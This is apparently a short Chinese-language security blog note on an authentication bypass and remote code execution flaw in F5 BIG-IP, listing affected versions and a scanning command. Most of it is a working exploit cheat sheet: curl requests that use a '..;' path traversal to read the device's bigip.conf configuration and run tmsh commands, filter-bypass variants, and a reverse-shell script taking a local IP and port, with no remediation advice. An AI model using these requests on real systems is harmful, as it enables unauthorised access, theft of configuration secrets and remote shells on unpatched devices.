湛蓝安全空间 |狂野湛蓝，暴躁每天

漏洞概述

认证绕过导致远程代码执行漏洞

攻击者可利用该漏洞执行任意的系统命令、创建或删除文件，关闭服务/执行任意的Java代码

BIG-IP 15.1.0
BIG-IP 14.1.0~14.1.2
BIG-IP 13.1.0~13.1.3
BIG-IP 12.1.0~12.1.5
BIG-IP 11.6.1~11.6.5

nuclei -tags bigip -t cves/ -l urls.txt

Goby

文件读取

curl -v -k "https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf"

RCE

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Bypass

..;  ==>  /hsqldb; 

..;  ==>  /hsqldb%0a

reverse shell:

./CVE-2020-5902.sh <server> <localip> <localport>